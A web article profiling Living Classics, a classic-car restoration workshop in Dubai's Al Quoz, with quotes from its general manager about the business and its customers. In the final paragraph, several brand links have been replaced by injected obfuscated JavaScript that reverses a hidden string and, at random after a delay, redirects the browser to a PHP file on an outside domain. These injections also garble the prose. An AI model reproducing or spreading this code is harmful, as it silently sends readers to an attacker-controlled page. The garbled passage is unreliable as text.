crankandpiston heads to Living Classics in the Al Quoz region of Dubai, UAE, to discuss classic cars, restoring classic cars, ‘the right attitude’, and why Segways are doing their bit to save the world.
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“We weren’t looking to be different or to compare ourselves with anybody else in particular. We set up Living Classics just the way we wanted to. For us, it’s the ultimate hobby shop.”
Since I’m currently being flanked by a 1953 Ford pickup (undergoing a complete frame restoration), a 1965 Ford Mustang (in for mechanical and electrical work), and a 1981 Chevrolet Corvette Stingray (which has already had 15 metres of fried wiring pulled out), it’s hard not to agree with that statement. This, after all, is just one of the company’s buildings.
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And when general manager of Living Classics in Dubai’s Al Quoz region Dave Dresen walks me through some of the other models in the back lock-up, he finds it difficult not to smile: a 1962 Bentley S2; a 1967 Chevrolet Camaro 396 SS; a 1966 Pontiac GTO; a 1970 Chevrolet Chevelle SS. The list goes on…
“This is the first time in years I’ve enjoyed going to work,” says Dave. “We actually only started up about three and half years ago. We were restoring a Ford Mustang for my Emirati partner Talal [Al Ansari], since we’re both really into our classic cars. But we were getting the usual Dubai workshop issues. Eventually I just got fed up with that, and we started discussing opening our own shop. The idea kept moving forward, and then it started getting serious, then all of a sudden we’d put a deposit down, and voila! Here we are.”
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Word of mouth soon started to do its work, and soon the first customers started rolling up outside the team’s shuttered doors. Oddly enough though, despite a shared enthusiasm for the rare and the desirable, the car itself can sometimes have little sway in the matter of new business.
“A lot to do with our work is based on the customer. If a guy comes through the door, has a good idea of what he’s after, wants it done properly and knows that it’s going to cost a certain amount, then we move forward. We like the passion of our customers: we’re not like a quick loop station. It’s just a very small client base and we try and focus on taking care of them.
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“So we’ve done services on brand new cars – a few $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/all-new-range-rover-morocco-the-big-test/” target=”_blank”>Range Rovers – for existing customers simply because we’ve been working on a seventies $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/mercedes/” target=”_blank”>Mercedes or a $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/chevrolet/” target=”_blank”>Chevrolet of theirs, and they’ve said, ‘oh, my $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/lexus/” target=”_blank”>Lexus has got this problem, can you check this out’. Or they want to do air suspension, get the car lowered, or change the wheels and tyres. That’s not the market that we’re focusing on, but like I said, if the customer’s got the right attitude, we’re in.”
